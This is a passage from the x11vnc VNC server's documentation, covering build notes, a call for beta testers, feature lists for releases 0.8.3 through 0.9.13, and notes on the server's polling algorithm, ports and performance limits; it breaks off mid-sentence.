-
- Building on Mac OS X: There is now native Mac OS X support for
- x11vnc by using the raw framebuffer feature. This mode does not use or
- need X11 at all. To build you may need to disable X11:
-./configure --without-x ...
-make
-
- However, if your system has the Mac OS X build package for X11 apps
- you will not need to supply the "--without-x" option (in this case the
- resulting x11vnc would be able to export both the native Mac OS X
- display and windows displayed in the XDarwin X server.) Be sure to
- include the ./configure option to find libjpeg on your system.
-
-
- OpenSSL: Starting with version 0.8.3 x11vnc can now be built with
- SSL/TLS support. For this to be enabled the libssl.so library needs to
- be available at build time. So you may need to have additional
- CPPFLAGS and LDFLAGS items if your libssl.so is in a non-standard
- place. As of x11vnc 0.9.4 there is also the --with-ssl=DIR configure
- option.
-
- On Solaris using static archives libssl.a and libcrypto.a instead of
- .so shared libraries (e.g. from www.sunfreeware.com), we found we
- needed to also set LDFLAGS as follows to get the configure to work:
-env LDFLAGS='-lsocket -ldl' ./configure --with-ssl=/path/to/openssl ...
-make
-
- _________________________________________________________________
-
- Beta Testing:
-
- I don't have any formal beta-testers for the releases of x11vnc, so
- I'd appreciate any additional testing very much.
-
- Thanks to those who suggested features and helped beta test x11vnc
- 0.9.12 released in Sep 2010!
-
- Please help test and debug the 0.9.13 version for release sometime in
- Winter 2010.
-
- The version 0.9.13 beta tarball is kept here:
- x11vnc-0.9.13-dev.tar.gz
-
- There are also some Linux, Solaris, Mac OS X, and other OS test
- binaries here. Please kick the tires and report bugs, performance
- regressions, undesired behavior, etc. to me.
-
- To aid testing of the built-in SSL/TLS support for x11vnc, a number of
- VNC Viewer packages for Unix, Mac OS X, and Windows have been created
- that provide SSL Support for the TightVNC Viewer (this is done by
- wrapper scripts and a GUI that starts STUNNEL.) It should be pretty
- convenient for automatic SSL and SSH connections. It is described in
- detail at and can be downloaded from the Enhanced TightVNC Viewer
- (SSVNC) page. The SSVNC Unix viewer also supports x11vnc's symmetric
- key encryption ciphers (see the 'UltraVNC DSM Encryption Plugin'
- settings panel.)
-
-
- Here are some features that will appear in the 0.9.13 release:
- * Improved support for non-X11 touchscreen devices (e.g. handheld or
- cell phone) via Linux uinput input injection. Additional tuning
- parameters are added. TSLIB touchscreen calibration is supported.
- Tested on Qtmoko Neo Freerunner. A tool, misc/uinput.pl, is
- provided to diagnose uinput behavior on new devices. The env.
- vars. X11VNC_UINPUT_BUS and X11VNC_UINPUT_VERSION are available if
- leaving them unset does not work.
- * The Linux uinput non-X11 input injection can now be bypassed:
- events can be directly written to the /dev/input/event devices
- specified by the user (direct_abs=..., etc.) A -pipeinput input
- injection helper script, misc/qt_tslib_inject.pl is provided as a
- tweakable non-builtin direct input injection method.
- * The list of new uinput parameters for the above two features is:
- pressure, tslib_cal, touch_always, dragskip, btn_touch;
- direct_rel, direct_abs, direct_btn, direct_key.
- * The MacOSX native server can now use OpenGL for the screen
- capture. In nearly all cases this is faster than the raw
- framebuffer capture method. There are build and run time flags,
- X11VNC_MACOSX_NO_DEPRECATED, etc. to disable use of deprecated
- input injection and screen access interfaces. Cursor shape now
- works for 64bit binaries.
- * The included SSL enabled Java VNC Viewers now handle Mouse Wheel
- events.
- * miscellaneous new features and changes:
- * In -reflect mode, the libvncclient connection can now have the
- pixel format modified via the environment variables
- X11VNC_REFLECT_bitsPerSample, X11VNC_REFLECT_samplesPerPixel, and
- X11VNC_REFLECT_bytesPerPixel
- * In -create mode the following environment variables are added to
- fine tune the behavior: FIND_DISPLAY_NO_LSOF: do not use lsof(1)
- to try to determine the Linux VT, FIND_DISPLAY_NO_VT_FIND: do not
- try to determine the Linux VT at all, X11VNC_CREATE_LC_ALL_C_OK:
- do not bother undoing the setting LC_ALL=C that the create_display
- script sets. The performance of the -create script has been
- improved for large installations (100's of user sessions on one
- machine.)
- * In -unixpw mode, one can now Tab from login: to Password.
- * An environment variable, X11VNC_SB_FACTOR, allows one to scale the
- -sb screenblank sleep time from the default 2 secs.
- * An experimental option -unixsock is available for testing. Note,
- however, that it requires a manual change to
- libvncserver/rfbserver.c for it to work.
- * Documented that -grabkbd is no longer working with some/most
- window managers (it can prevent resizing and menu posting.)
-
-
- Here are some features that appeared in the 0.9.12 release (Sep/2010):
- * One can now specify the maximum number of displays that can be
- created in -create mode via the env. var.
- X11VNC_CREATE_MAX_DISPLAYS
- * The X11VNC_NO_LIMIT_SHM env. var. is added to skip any automatic
- shared memory reduction.
- * The kdm display manager is now detected when trying not to get
- killed by the display manager.
- * A compile time bug is fixed so that configuring using
- --with-system-libvncserver pointing to LibVNCServer 0.9.7 works
- again. A bug from forced use of Xdefs.h is worked around.
-
-
- Here are some features that appeared in the 0.9.11 release (Aug/2010):
- * The source tree is synchronized with the most recent libvncclient
- (this only affects -reflect mode.) Build is fixed for
- incompatibilities when using an external LibVNCServer (e.g.
- ./configure --with-system-libvncserver...) Please help test these
- build and runtime aspects and report back what you find, thanks.
- * The SSL enabled Java VNC Viewer Makefile has been modified so that
- the jar files that are built are compatible back to Java 1.4.
- * In -create/-unixpw mode, the env. var. FD_USERPREFS may be set to
- a filename in the user's home directory that includes default
- username:options values (so the options do not need to be typed
- every time at the login prompt.)
- * In -reflect mode cursor position updates are now handled
- correctly.
-
-
- Here are some features that appeared in the 0.9.10 release (May/2010):
- * The included SSL enabled Java applet viewer now supports Chained
- SSL Certificates. The debugCerts=yes applet parameter aids
- troubleshooting certificate validation. The x11vnc -ssl mode has
- always supported chained SSL certificates (simply put the
- intermediate certificates, in order, after the server certificate
- in the pem file.)
- * A demo CGI script desktop.cgi shows how to create an SSL
- encrypted, multi-user x11vnc web login desktop service. The script
- requires x11vnc version 0.9.10. The user logs into a secure web
- site and gets his/her own virtual desktop (Xvfb.) x11vnc's SSL
- enabled Java Viewer Applet is launched by the web browser for
- secure viewing (and so no software needs to be installed on the
- viewer-side.) One can use the desktop.cgi script for ideas to
- create their own fancier or customized web login desktop service
- (e.g. user-creation, PHP, SQL, specialized desktop application,
- etc.) More info here. There is also an optional 'port redirection'
- mode that allows redirection to other SSL enabled VNC servers
- running inside the firewall.
- * Built-in support for IPv6 (128 bit internet addresses) is now
- provided. See the -6 and -connect options for details.
- Additionally, in case there are still problems with built-in IPv6
- support, a transitional tool is provided in inet6to4 that allows
- x11vnc (or any other IPv4 application) to receive connections over
- IPv6.
- * The Xdummy wrapper script for Xorg's dummy driver is updated and
- no longer requires being run as root. New service options are
- provided to select Xdummy over Xvfb as the virtual X server to be
- created.
- * The "%" unix password verification tricks for the -unixpw option
- are now documented. They have also been extended to run a command
- as the user if one sets the environment variable UNIXPW_CMD. The
- desktop.cgi demo script takes advantage of this new feature.
- * A bug has been fixed that would prevent the Java applet viewer
- from being downloaded successfully in single-port HTTPS/VNC inetd
- mode. The env. var. X11VNC_HTTPS_DOWNLOAD_WAIT_TIME can be used to
- adjust for how many seconds a -inetd or -https httpd download is
- waited for (default 15 seconds.) The applet will now autodetect
- x11vnc and use GET=1 for faster connecting. Many other
- improvements and fixes.
- * The TightVNC security type (TightVNC features enabler) now works
- for RFB version 3.8.
- * The X property X11VNC_TRAP_XRANDR can be set on a desktop to force
- x11vnc to use the -xrandr screen size change trapping code.
- * New remote control query options: pointer_x, pointer_y,
- pointer_same, pointer_root, and pointer_mask. A demo script using
- them misc/panner.pl is provided.
- * The -sslScripts option prints out the SSL certificate management
- scripts.
-
-
- Here are some features that appeared in the 0.9.9 release (Dec/2009):
- * The -unixpw_system_greeter option, when used in combined unixpw
- and XDMCP FINDCREATEDISPLAY mode (for example: -xdmsvc), enables
- the user to press Escape to jump directly to the XDM/GDM/KDM login
- greeter screen. This way the user avoids entering his unix
- password twice at X session creation time. Also, the unixpw login
- panel now has a short help displayed if the user presses 'F1'.
- * x11vnc now tries to be a little bit more aggressive in keeping up
- with VNC client's framebuffer update requests. Some broken VNC
- clients like Eggplant and JollysFastVNC continuously spray these
- requests at VNC servers (regardless of whether they have received
- any updates or not.) Under some circumstances this could lead to
- x11vnc falling behind. The -extra_fbur option allows one to fine
- tune the setting. Additionally, one may also dial down delays:
- e.g. "-defer 5" and "-wait 5" (or to 1 or even 0) or -nonap or
- -allinput to keep up with these VNC clients at the expense of
- increased system load.
- * Heuristics are applied to try to determine if the X display is
- currently in a Display Manager Greeter Login panel (e.g. GDM) If
- so, x11vnc's creation of any windows and use of XFIXES are
- delayed. This is to try to avoid x11vnc being killed after the
- user logs in if the GDM KillInitClients=true is in effect. So one
- does not need to set KillInitClients=false. Note that in recent
- GDM the KillInitClients option has been removed. Also delayed is
- the use of the XFIXES cursor fetching functionality; this avoids
- an Xorg bug that causes Xorg to crash right after the user logs
- in.
- * A new option -findauth runs the FINDDISPLAY script that applies
- heuristics that try to determine the XAUTHORITY file. The use of
- '-auth guess' will use the XAUTHORITY that -findauth reveals. This
- can be handy in with the lastest GDM where the ability to store
- cookies in ~/.Xauthority has been removed. If x11vnc is running as
- root (e.g. inetd) and you add -env FD_XDM=1 to the above -findauth
- or -auth guess command lines, it will find the correct XAUTHORITY
- for the given display (this works for XDM/GDM/KDM if the login
- greeter panel is up or if someone has already logged into an X
- session.)
- * The FINDDISPLAY and FINDCREATEDISPLAY modes (i.e. "-display
- WAIT:cmd=...", -find, -create) now work correctly for the
- user-supplied login program scheme "-unixpw_cmd ...", as long as
- the login program supports running commands specified in the
- environment variable "RFB_UNIXPW_CMD_RUN" as the logged-in user.
- The mode "-unixpw_nis ..." has also been made more consistent.
- * The -stunnel option (like -ssl but uses stunnel as an external
- helper program) now works with the -ssl "SAVE" and "TMP" special
- certificate names. The -sslverify and -sslCRL options now work
- correctly in -stunnel mode. Single port HTTPS connections are also
- supported for this mode.
- * There is an experimental Application Sharing mode that improves
- upon the -id/-sid single window sharing: -appshare (run "x11vnc
- -appshare -help" for more info.) It is still very primitive and
- approximate, but at least it displays multiple top-level windows.
- * The remote control command -R can be used to instruct x11vnc to
- resend its most recent copy of the Clipboard, Primary, or
- Cutbuffer selections: "x11vnc -R resend_clipboard", "x11vnc -R
- resend_primary", and "x11vnc -R resend_cutbuffer".
- * The fonts in the GUI (-gui) can now by set via environment
- variables, e.g. -env X11VNC_FONT_BOLD='Helvetica -16 bold' and
- -env X11VNC_FONT_FIXED='Courier -14'.
- * The XDAMAGE mechanism is now automatically disabled for a period
- of time if a game or screensaver generates too many XDAMAGE
- rectangles per second. This avoids the X11 event queue from
- soaking up too much memory.
- * There is an experimental workaround: "-env X11VNC_WATCH_DX_DY=1"
- that tries to avoid problems with poorly constructed menu themes
- that place the initial position of the mouse cursor inside a menu
- item's active zone. More information can be found here.
-
-
- Here are some features that appeared in the 0.9.8 release (Jul/2009):
- * Stability improvements to -threads mode. Running x11vnc this way
- is more reliable now. Threaded operation sometimes gives better
- interactive response and faster updates: try it out. The threaded
- mode now supports multiple VNC viewers using the same VNC
- encoding. The threaded mode can also yield a performance
- enhancement in the many client case (e.g. class-room broadcast.)
- We have tested with 30 to 50 simultaneous clients. See also
- -reflect.
- For simultaneous clients: the ZRLE encoding is thread safe on all
- platforms, and the Tight and Zlib encodings are currently only
- thread safe on Linux where thread local storage, __thread, is
- used. If your non-Linux system and compiler support __thread one
- can supply -DTLS=__thread to enable it. When there is only one
- connected client, all encodings are safe on all platforms. Note
- that some features (e.g. scroll detection and -ncache) may be
- disabled or run with reduced functionality in -threads mode.
- * Automatically tries to work around an Xorg server and GNOME bug
- involving infinitely repeating keys when turning off key
- repeating. Use -repeat if the automatic workaround fails.
- * Improved reliability of the Single Port SSL VNC and HTTPS java
- viewer applet delivery mechanism.
- * The -clip mode works under -rawfb.
-
-
- Here are some features that appeared in the 0.9.7 release (Mar/2009):
- * Support for polling Linux Virtual Terminals (also called virtual
- consoles) directly instead of using /dev/fb. The option to use is,
- for example, "-rawfb vt2" for Virtual Terminal 2, etc. In this
- case the special file /dev/vcsa2 is used to retrieve vt2's current
- text. Text and colors are shown, but no graphics.
- * Support for less than 8 bits per pixel framebuffers (e.g. 4 or 1
- bpp) in the -rawfb mode.
- * The SSL enabled UltraVNC Java viewer applet now has a [Home] entry
- in the "drives" drop down menu. This menu can be configured with
- the ftpDropDown applet parameter. All of the applet parameters are
- documented in classes/ssl/README.
- * Experimental support for VirtualGL's TurboVNC (an enhanced
- TightVNC for fast LAN high framerate usage.)
- * The CUPS Terminal Services helper mode has been improved.
- * Improvements to the -ncache_cr that allows smooth opaque window
- motions using the 'copyrect' encoding when using -ncache mode.
- * The -rmflag option enables a way to indicate to other processes
- x11vnc has exited.
- * Reverse connections using anonymous Diffie Hellman SSL encryption
- now work.
-
-
- Here are some features that appeared in the 0.9.6 release (Dec/2008):
- * Support for VeNCrypt SSL/TLS encrypted connections. It is enabled
- by default in the -ssl mode. VNC Viewers like vinagre,
- gvncviewer/gtk-vnc, the vencrypt package, SSVNC, and others
- support this encryption mode. It can also be used with the -unixpw
- option to enable Unix username and password authentication
- (VeNCrypt's "*Plain" modes.) A similar but older VNC security type
- "ANONTLS" (used by vino) is supported as well. See the -vencrypt
- and -anontls options for additional control. The difference
- between x11vnc's normal -ssl mode and VeNCrypt is that the former
- wraps the entire VNC connection in SSL (like HTTPS does for HTTP,
- i.e. "vncs://") while VeNCrypt switches on the SSL/TLS at a
- certain point during the VNC handshake. Use -sslonly to disable
- both VeNCrypt and ANONTLS (vino.)
- * The "-ssl ANON" option enables Anonymous Diffie-Hellman (ADH) key
- exchange for x11vnc's normal SSL/TLS operation. Note that
- Anonymous Diffie-Hellman uses encryption for privacy, but provides
- no authentication and so is susceptible to Man-In-The-Middle
- attacks (and so we do not recommend it: we prefer you use "-ssl
- SAVE", etc. and have the VNC viewer verify the cert.) The ANONTLS
- mode (vino) only supports ADH. VeNCrypt mode supports both ADH and
- regular X509 SSL certificates modes. For these ADH is enabled by
- default. See -vencrypt and -anontls for how to disable ADH.
- * For x11vnc's SSL/TLS modes, one can now specify a Certificate
- Revocation List (CRL) with the -sslCRL option. This will only be
- useful for wide deployments: say a company-wide x11vnc SSL access
- deployment using a central Certificate Authority (CA) via
- -sslGenCA and -sslGenCert. This way if a user has his laptop lost
- or stolen, you only have to revoke his key instead of creating a
- new Certificate Authority and redeploying new keys to all users.
- * The default SSL/TLS mode, "-ssl" (no pem file parameter supplied),
- is now the same as "-ssl SAVE" and will save the generated
- self-signed cert in "~/.vnc/certs/server.pem". Previously "-ssl"
- would create a temporary self-signed cert that was discarded when
- x11vnc exited. The reason for the change is to at least give the
- chance for the VNC Viewer side (e.g. SSVNC) to remember the cert
- to authenticate subsequent connections to the same x11vnc server.
- Use "-ssl TMP" to regain the previous behavior. Use "-ssl
- SAVE_NOPROMPT" to avoid being prompted about using passphrase when
- the certificate is created.
- * The option -http_oneport enables single-port HTTP connections via
- the Java VNC Viewer. So, for example, the web browser URL
- "http://myhost.org:5900" works the same as
- "http://myhost.org:5800", but with the convenience of only
- involving one port instead of two. This works for both unencrypted
- connections and for SSH tunnels (see -httpsredir if the tunnel
- port differs.) Note that HTTPS single-port operation in -ssl SSL
- encrypted mode has been available since x11vnc version 0.8.3.
- * For the -avahi/-zeroconf Service Advertizing mode, if x11vnc was
- not compiled with the avahi-client library, then an external
- helper program, either avahi-publish(1) (on Unix) or dns-sd(1) (on
- Mac OS X), is used instead.
- * The "-rfbport PROMPT" option will prompt the user via the GUI to
- select the VNC port (e.g. 5901) to listen on, and a few other
- basic settings. This enables a handy GUI mode for naive users:
- x11vnc -gui tray=setpass -rfbport PROMPT -logfile $HOME/.x11vnc.log.%VNCDISP
-LAY
- suitable for putting in a launcher or menu, e.g. x11vnc.desktop.
- The -logfile expansion is new too. In the GUI, the tray=setpass
- Properties panel has been improved.
- * The -solid solid background color option now works for the Mac OS
- X console.
- * The -reopen option instructs x11vnc to try to reopen the X display
- if it is prematurely closed by, say, the display manager (e.g.
- GDM.)
-
-
- Here are some features that appeared in the 0.9.5 release (Oct/2008):
- * Symmetric key encryption ciphers. ARC4, AES-128, AES-256,
- blowfish, and 3des are supported. Salt and initialization vector
- seeding is provided. These compliment the more widely used SSL and
- SSH encryption access methods. SSVNC also supports these
- encryption modes.
- * Scaling differently along the X- and Y-directions. E.g. "-scale
- 1280x1024" or "-scale 0.8x0.75" Also, "-geometry WxH" is an
- alias for "-scale WxH"
- * By having SSVNC version 1.0.21 or later available in your $PATH,
- the -chatwindow option allows a UltraVNC Text Chat window to
- appear on the local X11 console/display (this way the remote
- viewer can chat with the person at the physical display; e.g.
- helpdesk mode.) This also works on the Mac OS X console if the
- Xquartz X11 server (enabled by default on leopard) is running for
- the chatwindow.
- * The HTTP Java viewer applet jar, classes/VncViewer.jar, has been
- updated with an improved implementation based on the code used by
- the classes/ssl applets.
-
-
- Here are some features that appeared in the 0.9.4 release (Sep/2008):
- * Improvements to the -find and -create X session finding or
- creating modes: new desktop types and service redirection options.
- Personal cupsd daemon and SSH port redirection helper for use with
- SSVNC's Terminal Services feature.
- * Reverse VNC connections via -connect work in the -find, -create
- and related -display WAIT:... modes.
- * Reverse VNC connections (either normal or SSL) can use a Web Proxy
- or a SOCKS proxy, or a SSH connection, or even a CGI URL to make
- the outgoing connection. See: -proxy. Forward connections can also
- use: -ssh.
- * Reverse VNC connections via the UltraVNC repeater proxy (either
- normal or SSL) are supported. Use either the "-connect
- repeater=ID:NNNN+host:port" or "-connect
- repeater://host:port+ID:NNNN" notation. The SSVNC VNC viewer also
- supports the UltraVNC repeater. Also, a perl repeater implemention
- is here: ultravnc_repeater.pl
- * Support for indexed colormaps (PseudoColor) with depths other than
- 8 (from 1 to 16 now work) for non-standard hardware. Option
- "-advertise_truecolor" to handle some workaround in this mode.
- * Support for the ZYWRLE encoding, this is the RealVNC ZRLE encoding
- extended to do motion video and photo regions more efficiently by
- way of a Wavelet based transformation.
- * The -finddpy and -listdpy utilities help to debug and configure
- the -find, -create, and -display WAIT:... modes.
- * Some automatic detection of screen resizes are handled even if the
- -xrandr option is not supplied.
- * The -autoport options gives more control over the VNC port x11vnc
- chooses.
- * The -ping secs can be used to help keep idle connections alive.
- * Pasting of the selection/clipboard into remote applications (e.g.
- Java) has been improved.
- * Fixed a bug if a client disconnects during the 'speed-estimation'
- phase.
- * To unset Caps_Lock, Num_Lock and raise all keys in the X server
- use -clear_all.
- * Usage with dvorak keyboards has been improved. See also: -xkb.
- * The Java Viewer applet source code is now included in the
- x11vnc-0.9.*.tar.gz tarball. This means you can now build the Java
- viewer applet jar files from source. If you stopped shipping the
- Java viewer applet jar files due to lack of source code, you can
- start again.
-
-
- Here are some features that appeared in the 0.9.3 release (Oct/2007):
- * Viewer-side pixmap caching. A large area of pixels (at least 2-3
- times as big as the framebuffer itself; the bigger the better...
- default is 10X) is placed below the framebuffer to act as a
- buffer/cache area for pixel data. The VNC CopyRect encoding is
- used to move it around, so any viewer can take advantage of it.
- Until we start modifying viewers you will be able to see the cache
- area if you scroll down (this makes it easier to debug!) For
- testing the default is "-ncache 10". The unix Enhanced TightVNC
- Viewer ssvnc has a nice -ycrop option to help hide the pixel cache
- area from view.
-
-
- Here are some features that appeared in the 0.9.2 release (Jun/2007):
- * Building with no OpenSSL libssl available (or with --without-ssl)
- has been fixed.
- * One can configure x11vnc via "./configure
- --with-system-libvncserver" to use a system installed libvncserver
- library instead of the one bundled in the release tarball.
- * If UltraVNC file transfer or chat is detected, then VNC clients
- are "pinged" more often to prevent these side channels from
- becoming serviced too infrequently.
- * In -unixpw mode in the username and password dialog no text will
- be echoed if the first character sent is "Escape". This enables a
- convenience feature in SSVNC to send the username and password
- automatically.
-
-
- Here are some features that appeared in the 0.9.1 release (May/2007):
- * The UltraVNC Java viewer has been enhanced to support SSL (as the
- TightVNC viewer had been previously.) The UltraVNC Java supports
- ultravnc filetransfer, and so can be used as a VNC viewer on Unix
- that supports ultravnc filetransfer. It is in the
- classes/ssl/UltraViewerSSL.jar file (that is pointed to by
- ultra.vnc.) The signed applet SignedUltraViewerSSL.jar version
- (pointed to by ultrasigned.vnc) will be needed to access the local
- drive if you are using it for file transfer via a Web browser.
- Some other bugs in the UltraVNC Java viewer were fixed and a few
- improvements to the UI made.
- * A new Unix username login mode for VNC Viewers authenticated via a
- Client SSL Certificate: "-users sslpeer=". The emailAddress
- subject field is inspected for username@hostname and then acts as
- though "-users +username" has been supplied. This way the Unix
- username is identified by (i.e. simply extracted from) the Client
- SSL Certificate. This could be useful with -find, -create and -svc
- modes if you are also have set up and use VNC Client SSL
- Certificate authentication.
- * For external display finding/creating programs (e.g. WAIT:cmd=...)
- if the VNC Viewer is authenticated via a Client SSL Certificate,
- then that Certificate is available in the environment variable
- RFB_SSL_CLIENT_CERT.
-
-
- Here are some features that appeared in the 0.9 release (Apr/2007):
- * VNC Service advertising via mDNS / ZeroConf / BonJour with the
- Avahi client library. Enable via "-avahi" or "-zeroconf".
- * Implementations of UltraVNC's TextChat, SingleWindow, and
- ServerInput extensions (requires ultravnc viewer or ssvnc Unix
- viewer.) They toggle the selection of a single window (-id), and
- disable (friendly) user input and viewing (monitor blank) at the
- VNC server.
- * Short aliases "-find", "-create", "-svc", and "-xdmsvc" for
- commonly used FINDCREATEDISPLAY usage modes.
- * Reverse VNC connections (viewer listening) now work in SSL (-ssl)
- mode.
- * New options to control the Monitor power state and keyboard/mouse
- grabbing: -forcedpms, -clientdpms, -noserverdpms, and -grabalways.
- * A simple way to emulate inetd(8) to some degree via the "-loopbg"
- option.
- * Monitor the accuracy of XDAMAGE and apply "-noxdamage" if it is
- not working well. OpenGL applications like like beryl and MythTv
- have been shown to make XDAMAGE not work properly.
- * For Java SSL connections involving a router/firewall port
- redirection, an option -httpsredir to spare the user from needing
- to include &PORT=NNN in the browser URL.
-
-
- Here are some features that appeared in the 0.8.4 release (Feb/2007):
- * Native Mac OS X Aqua/Quartz support. (i.e. OSXvnc alternative;
- some activities are faster)
- * A new login mode: "-display WAIT:cmd=FINDCREATEDISPLAY -unixpw
- ..." that will Create a new X session (either virtual or real and
- with or without a display manager, e.g. kdm) for the user if it
- cannot find the user's X session display via the FINDDISPLAY
- method. See the -svc and the -xdmsvc aliases.
- * x11vnc can act as a VNC reflector/repeater using the "-reflect
- host:N" option. Instead of polling an X display, the remote VNC
- Server host:N is connected to and re-exported via VNC. This is
- intended for use in broadcasting a display to many (e.g. > 16;
- classroom or large demo) VNC viewers where bandwidth and other
- resources are conserved by spreading the load over a number of
- repeaters.
- * Wireframe copyrect detection for local user activity (e.g. someone
- sitting at the physical display moving windows) Use
- -nowireframelocal to disable.
- * The "-N" option couples the VNC Display number to the X Display
- number. E.g. if your X DISPLAY is :2 then the VNC display will be
- :2 (i.e. using port 5902.) If that port is taken x11vnc will exit.
- * Option -nodpms to avoid problems with programs like KDE's
- kdesktop_lock that keep restarting the screen saver every few
- seconds.
- * To automatically fix the common mouse motion problem on XINERAMA
- (multi-headed) displays, the -xwarppointer option is enabled by
- default when XINERAMA is active.
-
- If you have a Mac please try out the native Mac OS X support, build
- with "./configure --without-x", or download a binary mentioned above,
- (even if you don't plan on ever using it in this mode!), and let me
- know how it went. Thanks.
-
-
- Here are some features that appeared in the 0.8.3 release (Nov/2006):
- * The -ssl option provides SSL encryption and authentication
- natively via the www.openssl.org library. One can use from a
- simple self-signed certificate server certificate up to full CA
- and client certificate authentication schemes.
- * Similar to -ssl, the -stunnel option starts up a SSL tunnel server
- stunnel (that must be installed separately on the system:
- stunnel.mirt.net ) to allow only encrypted SSL connections from
- the network.
- * The -sslverify option allows for authenticating VNC clients via
- their certificates in either -ssl or -stunnel modes.
- * Certificate creation and management tools are provide in the
- -sslGenCert, -sslGenCA, and related options.
- * An SSL enabled Java applet VNC Viewer applet is provided by x11vnc
- in classes/ssl/VncViewer.jar. In addition to normal HTTP, the
- applet may be loaded into the web browser via HTTPS (HTTP over
- SSL.) (one can use the VNC port, e.g. https://host:5900/, or also
- the separate -https port option.) A wrapper shell script
- ss_vncviewer is also provided that sets up a stunnel client-side
- tunnel on Unix systems. See Enhanced TightVNC Viewer (SSVNC) for
- other SSL/SSH viewer possibilities.
- * The -unixpw option supports Unix username and password
- authentication (a simpler variant is the -unixpw_nis option that
- works in environments where the encrypted passwords are readable,
- e.g. NIS.) The -ssl or -localhost + -stunnel options are enforced
- in this mode to prevent password sniffing. As a convenience, these
- requirements are lifted if a SSH tunnel can be deduced (but
- -localhost still applies.)
- * Coupling -unixpw with "-display WAIT:cmd=FINDDISPLAY" or "-display
- WAIT:cmd=FINDCREATEDISPLAY" provides a way to allow a user to
- login with their UNIX password and have their display connected to
- automatically. See the -svc and the -xdmsvc aliases.
- * Hooks are provided in the -unixpw_cmd and "-passwdfile
- cmd:,custom:..." options to allow you to supply your own
- authentication and password lookup programs.
- * x11vnc can be configured and built to not depend on X11 libraries
- "./configure --without-x" for -rawfb only operation (e.g. embedded
- linux console devices.)
- * The -rotate option enables you to rotate or reflect the screen
- before exporting via VNC. This is intended for use on handhelds
- and other devices where the rotation orientation is not "natural".
- * The "-ultrafilexfer" alias is provided and improved UltraVNC
- filetransfer rates have been achieved.
- * Under the "-connect_or_exit host" option x11vnc will exit
- immediately unless the reverse connection to host succeeds. The
- "-rfbport 0" option disables TCP listening for connections (useful
- for this mode.)
- * The "-rawfb rand" and "-rawfb none" options are useful for testing
- automation scripts, etc., without requiring a full desktop.
- * Reduced spewing of information at startup, use "-verbose" (also
- "-v") to turn it back on for debugging or if you are going to send
- me a problem report.
-
- Here are some Previous Release Notes
- _________________________________________________________________
-
- Some Notes:
-
- Both a client and a server: It is sometimes confusing to people that
- x11vnc is both a client and a server at the same time. It is an X
- client because it connects to the running X server to do the screen
- polls. Think of it as a rather efficient "screenshot" program running
- continuously. It is a server in the sense that it is a VNC server that
- VNC viewers on the network can connect to and view the screen
- framebuffer it manages.
-
- When trying to debug problems, remember to think of both roles. E.g.
- "how is x11vnc connecting to the X server?", "how is the vncviewer
- connecting to x11vnc?", "what permits/restricts the connection?". Both
- links may have reachability, permission, and other issues.
-
- Network performance: Whether you are using Xvnc or x11vnc it is
- always a good idea to have a solid background color instead of a
- pretty background image. Each and every re-exposure of the background
- must be resent over the network: better to have that background be a
- solid color that compresses very well compared to a photo image. (This
- is one place where the X protocol has an advantage over the VNC
- protocol.) I suggest using xsetroot, dtstyle or similar utility to set
- a solid background while using x11vnc. You can turn the pretty
- background image back on when you are using the display directly.
- Update: As of Feb/2005 x11vnc has the -solid [color] option that works
- on recent GNOME, KDE, and CDE and also on classic X (background image
- is on the root window.) Update: As of Oct/2007 x11vnc has the -ncache
- option that does a reasonable job caching the background (and other)
- pixmap data on the viewer side.
-
- I also find the TightVNC encoding gives the best response for my usage
- (Unix <-> Unix over cable modem.) One needs a tightvnc-aware vncviewer
- to take advantage of this encoding.
-
- TCP port issues: Notice the lines
- 18/07/2003 14:36:31 Autoprobing selected port 5900
- PORT=5900
-
- in the output. 5900 is the default VNC listening port (just like 6000
- is X11's default listening port.) Had port 5900 been taken by some
- other application, x11vnc would have next tried 5901. That would mean
- the viewer command above should be changed to vncviewer
- far-away.east:1. You can force the port with the "-rfbport NNNN"
- option where NNNN is the desired port number. If that port is already
- taken, x11vnc will exit immediately. The "-N" option will try to match
- the VNC display number to the X display. (also see the "SunRay
- Gotcha" note below)
-
- Options: x11vnc has (far too) many features that may be activated
- via its command line options. Useful options are, e.g., -scale to do
- server-side scaling, and -rfbauth passwd-file to use VNC password
- protection (the vncpasswd or storepasswd programs, or the x11vnc
- -storepasswd option can be used to create the password file.)
-
- Algorithm: How does x11vnc do it? Rather brute-forcedly: it
- continuously polls the X11 framebuffer for changes using
- XShmGetImage(). When changes are discovered, it instructs libvncserver
- which rectangular regions of the framebuffer have changed, and
- libvncserver compresses the changes and sends them off to any
- connected VNC viewers. A number of applications do similar things,
- such as x0rfbserver, krfb, x0vncserver, vino. x11vnc uses a 32 x 32
- pixel tile model (the desktop is decomposed into roughly 1000 such
- tiles), where changed tiles are found by pseudo-randomly polling 1
- pixel tall horizontal scanlines separated vertically by 32 pixels.
- This is a surprisingly effective algorithm for finding changed
- regions. For keyboard and mouse user input the XTEST extension is used
- to pass the input events to the X server. To detect XBell "beeps" the
- XKEYBOARD extension is used. If available, the XFIXES extension is
- used to retrieve the current mouse cursor shape. Also, if available
- the X DAMAGE extension is used to receive hints from the X server
- where modified regions on the screen are. This greatly reduces the
- system load when not much is changing on the screen and also improves
- how quickly the screen is updated.
-
- Barbershop mirrors effect: What if x11vnc is started up, and
- vncviewer is then started up on the same machine and displayed on the
- same display x11vnc is polling? One might "accidentally" do this when
- first testing out the programs. You get an interesting
- recursive/feedback effect where vncviewer images keep popping up each
- one contained in the previous one and slightly shifted a bit by the
- window manager decorations. There will be an even more interesting
- effect if -scale is used. Also, if the XKEYBOARD is supported and the
- XBell "beeps" once, you get an infinite loop of beeps going off.
- Although all of this is mildly exciting it is not much use: you will
- normally run and display the viewer on a different machine!
- _________________________________________________________________
-
- Sun Ray Notes:
-
- You can run x11vnc on your (connected or disconnected) SunRay session.
- Here are some notes on SunRay usage with x11vnc.
-
- _________________________________________________________________
-
- Limitations:
-
- * Due to the polling nature, some activities (opaque window moves,
- scrolling), can be pretty choppy/ragged and others (exposures of
- large areas) slow. Experiment with interacting a bit differently
- than you normally do to minimize the effects (e.g. do fullpage
- paging rather than line-by-line scrolling, and move windows in a
- single, quick motion.) Recent work has provided the
- -scrollcopyrect and -wireframe speedups using the CopyRect VNC
- encoding and other things, but they only speed up some activities,
- not all.
- * A rate limiting factor for x11vnc performance is that graphics
- hardware is optimized for writing, not reading (x11vnc reads the
- video framebuffer for the screen image data.) The difference can
- be a factor of 10 to 1000, and so it usually takes about 0.5-1 sec
- to read in the whole video hardware framebuffer (e.g. 5MB for
- 1280x1024 at depth 24 with a read rate of 5-10MB/sec.) So whenever
- activity changes most of the screen (e.g. moving or iconifying a
